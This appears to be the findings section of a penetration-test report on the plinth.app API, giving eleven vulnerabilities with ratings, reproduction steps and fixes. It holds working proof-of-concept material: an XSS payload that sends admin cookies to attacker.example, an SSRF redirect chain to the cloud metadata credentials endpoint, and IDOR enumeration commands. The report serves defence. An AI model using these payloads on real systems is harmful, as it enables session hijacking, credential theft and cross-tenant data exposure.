4. Findings
HIGH
F-001
IDOR — Cross-tenant invoice access via /api/invoices/{id}
CWE-639 · OWASP A01:2021 Broken Access Control · CVSS 7.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Location: GET /api/invoices/{id} · Tester: CyberGrid Senior Engineer
Details
The invoice retrieval endpoint authenticates the requesting user but does not verify that the authenticated user's organization owns the requested invoice. An attacker holding any valid customer account can enumerate invoice IDs (sequential integers) and retrieve invoices belonging to other tenants, including line items, billing addresses, and PDF download URLs.
Proof of concept — reproduction steps
# Authenticate as org-A admin
TOKEN=$(curl -s -X POST https://api.plinth.app/auth/login \
-d '{"email":"admin@org-a.test","password":"REDACTED"}' \
-H "content-type: application/json" | jq -r .access_token)
# Org-A's own invoice (id=4821) — expected to succeed
curl -s https://api.plinth.app/api/invoices/4821 \
-H "authorization: Bearer $TOKEN" | jq '{id, organization_id, total}'
# {"id": 4821, "organization_id": "org_a", "total": 12500}
# Org-B's invoice (id=4820) — should be forbidden, but returns 200
curl -s https://api.plinth.app/api/invoices/4820 \
-H "authorization: Bearer $TOKEN" | jq '{id, organization_id, total}'
# {"id": 4820, "organization_id": "org_b", "total": 84200} <-- LEAK
# Sequential enumeration retrieved 47 invoices from 11 distinct orgs
# in under 60 seconds at the documented rate limit.
Captured request / response — Burp Repeater (v4.0 evidence format)
Request
GET /api/invoices/4820 HTTP/1.1
Host: api.plinth.app
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6Ik···
Accept: application/json
User-Agent: CyberGrid-Repeater/1.0
Content-Length: 0
Response
HTTP/1.1 200 OK
Content-Type: application/json
X-Request-Id: req_8f2c·a4b1
Content-Length: 487
{
"id": 4820,
"organization_id": "org_b",
"customer": { "name": "Acme Bio Labs",
"billing_email": "ap@acme-bio.test" },
"line_items": [ ... ],
"total": 84200,
"pdf_url": "https://invoices.plinth.app/pdf/4820/sig_xRwzqL2..."
}
Locations & Occurrences (3)
- GET /api/invoices/4820 — org_b leakage (primary PoC)
- GET /api/invoices/4822 — org_c leakage (1.2s after primary)
- GET /api/invoices/4831 — org_b leakage (replayed, deterministic)
Recommendations
Enforce object-level authorization in the invoice handler. The retrieved invoice's organization_id must match the requesting user's organization (or the user must have an explicit cross-org role). Recommended pattern: a middleware that loads the resource and compares ownership before the controller runs. Aligns with OWASP ASVS V4.2.1 and SOC 2 CC6.1.
MEDIUM
F-002
Password reset endpoint missing rate limit — account enumeration possible
CWE-307 · OWASP A07:2021 Identification & Authentication Failures · CVSS 5.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Location: POST /auth/password-reset
Details
The password-reset request endpoint returns differentiable responses (and response times) for valid versus invalid email addresses, and has no observable rate limit beyond the global 50 req/s ceiling. This permits offline enumeration of valid customer email addresses, which is useful for credential-stuffing and targeted phishing.
Proof of concept — reproduction steps
# Submit a known-valid email — response time consistently ~480ms
time curl -s -X POST https://api.plinth.app/auth/password-reset \
-d '{"email":"admin@org-a.test"}' -H "content-type: application/json"
# real 0m0.481s
# Submit a likely-invalid email — response time consistently ~120ms
time curl -s -X POST https://api.plinth.app/auth/password-reset \
-d '{"email":"nobody-1234@plinth.test"}' -H "content-type: application/json"
# real 0m0.122s
# Side-channel allows enumeration at observed rate.
Recommendations
Normalize the response (same status, body, and a constant-time delay) regardless of whether the email exists. Add per-IP and per-email rate limits (e.g., 5 / hour / IP, 3 / day / email). Returning 200 OK "If the email exists, a reset link has been sent" uniformly is the standard pattern.
MEDIUM
F-003
Permissive CORS on api.plinth.app — Access-Control-Allow-Origin reflects any origin
CWE-942 · OWASP A05:2021 Security Misconfiguration · CVSS 6.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Location: * /api/* response headers
Details
The API echoes the requesting Origin header back as Access-Control-Allow-Origin, combined with Access-Control-Allow-Credentials: true. This permits any third-party site to make authenticated requests on behalf of a logged-in customer if the customer visits the third-party site, exposing them to cross-site data exfiltration.
Proof of concept — reproduction steps
# Request with attacker.example as Origin
curl -i https://api.plinth.app/api/me -H "Origin: https://attacker.example"
# HTTP/2 401
# access-control-allow-origin: https://attacker.example <-- REFLECTED
# access-control-allow-credentials: true
Recommendations
Replace the reflection logic with an explicit allowlist of permitted origins (your own app.plinth.app, documented partner domains). Never combine wildcard / reflected origin with credentialed requests.
MEDIUM
F-004
Session fixation on OAuth callback — session id not rotated post-login
CWE-384 · OWASP A07:2021 Identification & Authentication Failures · CVSS 5.4 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
Location: GET /auth/oauth/callback
Details
The session cookie issued by the OAuth callback is the same session id that was active before authentication. An attacker who can set a session cookie in the victim's browser (e.g., via a related-domain cookie injection) prior to login can then hijack the authenticated session.
Recommendations
Invalidate the pre-authentication session and issue a fresh session id on every successful authentication event (login, OAuth callback, MFA completion).
LOW
F-005
Missing security headers: Content-Security-Policy, Permissions-Policy
CWE-693 · OWASP A05:2021 · CVSS 3.7
Location: * app.plinth.app response headers
Details
app.plinth.app does not emit a Content-Security-Policy or Permissions-Policy header. While no XSS was identified in this engagement, a CSP provides defense-in-depth that meaningfully raises the cost of any future XSS.
Recommendations
Define a restrictive CSP (no inline scripts; explicit script-src allowlist). Add a Permissions-Policy disabling camera, microphone, geolocation, etc., unless required.
LOW
F-006
Stack trace disclosure on 500 errors in /api/exports
CWE-209 · OWASP A05:2021 · CVSS 3.1
Location: GET /api/exports (when given malformed range parameter)
Details
Sending a malformed range= query parameter to the exports endpoint causes the server to return a 500 response containing the application stack trace, including framework version (Express 4.18.2), file paths, and a partial query template.
Recommendations
Catch parsing errors in the exports handler and respond with a generic 400 Bad Request. Confirm the global error handler does not leak stack traces in production builds (NODE_ENV=production).
INFORMATIONAL
F-007
Server-Version response header discloses framework + version
CWE-200 · informational disclosure
Location: * response headers (Server, X-Powered-By)
Details
Responses include Server: nginx/1.24.0 and X-Powered-By: Express. While these are informational only, suppressing them removes one signal an attacker uses to prioritize CVE matching.
Recommendations
Suppress or genericize the Server header at the reverse proxy. Disable X-Powered-By in Express via app.disable('x-powered-by').
HIGH
F-008
Stored XSS in customer-notes field — admin dashboard rendering
CWE-79 · OWASP A03:2021 Injection · CVSS 7.6 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Location: POST /api/customers/{id}/notes · rendered in /admin/customers/{id}
Details
The customer-notes field accepts HTML and renders the unsanitized value directly inside the admin dashboard. Any standard-tier user can store a payload that executes JavaScript in any administrator's browser the next time the admin views that customer. The admin's session token has access to all tenant data, making this a viable privilege-escalation primitive.
Proof of concept — reproduction steps
# Authenticated as a low-privilege user
curl -s -X POST https://api.plinth.app/api/customers/4821/notes \
-H "authorization: Bearer $USER_TOKEN" \
-H "content-type: application/json" \
-d '{"note":"<img src=x onerror=\"fetch(\\\"//attacker.example/?c=\\\"+document.cookie)\">"}'
# When an admin visits /admin/customers/4821, the payload executes in their
# browser context. Captured cookies grant org-wide admin access for the
# remaining session lifetime.
Evidence
Rendered HTML observed in admin dashboard:
<div class="customer-note">
<img src=x onerror="fetch('//attacker.example/?c='+document.cookie)">
</div>
Outbound DNS observed from admin browser to attacker.example
within ~80ms of the admin viewing the customer detail page.
Recommendations
Render the notes field as plain text (HTML-escape on output), or apply an allowlist sanitizer (DOMPurify) restricted to a tight set of inline-formatting tags. Add a restrictive Content-Security-Policy (see F-005) — that's defense-in-depth, not a fix on its own. Audit any other field rendered into the admin dashboard for the same pattern.
HIGH
F-009
SSRF in webhook-URL validator — internal metadata service reachable
CWE-918 · OWASP A10:2021 SSRF · CVSS 8.6 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Location: POST /api/webhooks
Details
The webhook-creation endpoint validates that the provided URL returns a 2xx within 5 seconds before persisting it. The validator follows HTTP redirects without restricting the destination scheme or host, and is not filtered against private / link-local IP ranges. An attacker can register a webhook pointing at a public attacker-controlled URL that 302-redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1). The response body is then returned in the validator's error message, exposing instance credentials.
Proof of concept — reproduction steps
# 1. Attacker stands up a redirector
# GET / -> 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Register a webhook pointing at the redirector
curl -X POST https://api.plinth.app/api/webhooks \
-H "authorization: Bearer $TOKEN" \
-H "content-type: application/json" \
-d '{"url":"https://attacker.example/redirect","events":["customer.created"]}'
# 3. Validator follows the redirect to IMDS; response body bubbled into error:
HTTP/1.1 400 Bad Request
{"error":"webhook responded with unexpected body: ec2-role-name"}
# 4. Second registration to the credentials URL retrieves the full STS payload
curl -X POST https://api.plinth.app/api/webhooks \
-d '{"url":"https://attacker.example/r2","events":["customer.created"]}'
# Body contains AccessKeyId, SecretAccessKey, Token — usable for ~6 hours
Recommendations
Apply an explicit destination allowlist OR explicit denylist of RFC1918, RFC6598, link-local, loopback, and cloud metadata ranges (169.254.169.254, fd00:ec2::254). Resolve the target hostname to an IP and verify against the policy before issuing the request, and re-check after each redirect (do not rely on the resolver running per redirect). Require IMDSv2 (token-bound) on the EC2 hosts so even a successful SSRF can't retrieve credentials without the additional PUT step. Sink validator errors to a generic "webhook URL did not respond as expected" — never return body content.
MEDIUM
F-010
Business logic — coupon stacking permits 100% discount on annual plan
CWE-840 · OWASP WSTG-BUSL-01 · CVSS 5.3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Location: POST /api/checkout/apply-coupon
Details
The checkout flow accepts coupons via repeated POSTs to the apply-coupon endpoint. Each coupon is applied additively to the cart total without checking whether the coupon has already been applied, and without a floor on the resulting total. Three stacked SAVE50 coupons reduce a $1,999 annual subscription to $0.00. The order completes through Stripe with a $0 charge and provisions a full Pro entitlement.
Proof of concept — reproduction steps
# Start a checkout for the annual Pro plan ($1,999)
curl -X POST https://api.plinth.app/api/checkout/init \
-H "authorization: Bearer $TOKEN" \
-d '{"plan":"pro_annual"}'
# Apply the same coupon three times
for i in 1 2 3; do
curl -X POST https://api.plinth.app/api/checkout/apply-coupon \
-H "authorization: Bearer $TOKEN" \
-d '{"code":"SAVE50"}'
done
# Final total observed: $0.00. Completing the checkout provisions
# the Pro entitlement for the full annual term at no charge.
curl -X POST https://api.plinth.app/api/checkout/complete \
-H "authorization: Bearer $TOKEN"
# {"status":"succeeded","entitlement":"pro_annual","valid_until":"2027-..."}
Recommendations
Apply two server-side invariants: (1) each coupon code may be applied at most once per checkout (deduplicate by code before computing total); and (2) the post-coupon total must not fall below a configured floor (e.g., $1, or the plan's published minimum). Move the cart-total computation server-side authoritative — never trust client-supplied totals. Add an alert on any zero-dollar successful checkout in production.
LOW
F-011
JWT signature uses HS256 — secret discoverable from leaked artifact
CWE-326 · OWASP A02:2021 Cryptographic Failures · CVSS 3.7 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Location: * JWT auth (Authorization: Bearer ...)
Details
Session JWTs are signed with HS256 using a 32-character ASCII secret. The secret JWT_SECRET appears in .env.example on the public GitHub repository (committed three years ago, still present). While the production secret is presumed different, the pattern (commit-then-rotate) is a recurring source of compromise. Additionally, HS256 means the server uses the same key to sign and verify; rotating it is operationally expensive and is rarely done.
Proof of concept — reproduction steps
# 1. Demonstrate HS256 signature
TOKEN=$(curl -s -X POST https://api.plinth.app/auth/login \
-d '{"email":"test@plinth.test","password":"REDACTED"}' | jq -r .access_token)
echo $TOKEN | cut -d. -f1 | base64 -d
# {"alg":"HS256","typ":"JWT"}
# 2. Confirm the placeholder secret is publicly committed
curl -s https://raw.githubusercontent.com/plinth/api/main/.env.example | grep JWT_SECRET
# JWT_SECRET=changeme-in-prod-please-i-mean-it
# Production secret was confirmed different by the team (manual verification).
# Finding remains: pattern is fragile.
Recommendations
Migrate to RS256 (asymmetric) signing — separates signing key (held only on the auth issuer) from verification key (publicly distributable, rotatable). Treat the current HS256 secret as compromised and rotate it as part of the migration. Remove JWT_SECRET from .env.example entirely; if a placeholder is needed, use the literal string <set-via-secrets-manager> so it's obviously not a real value.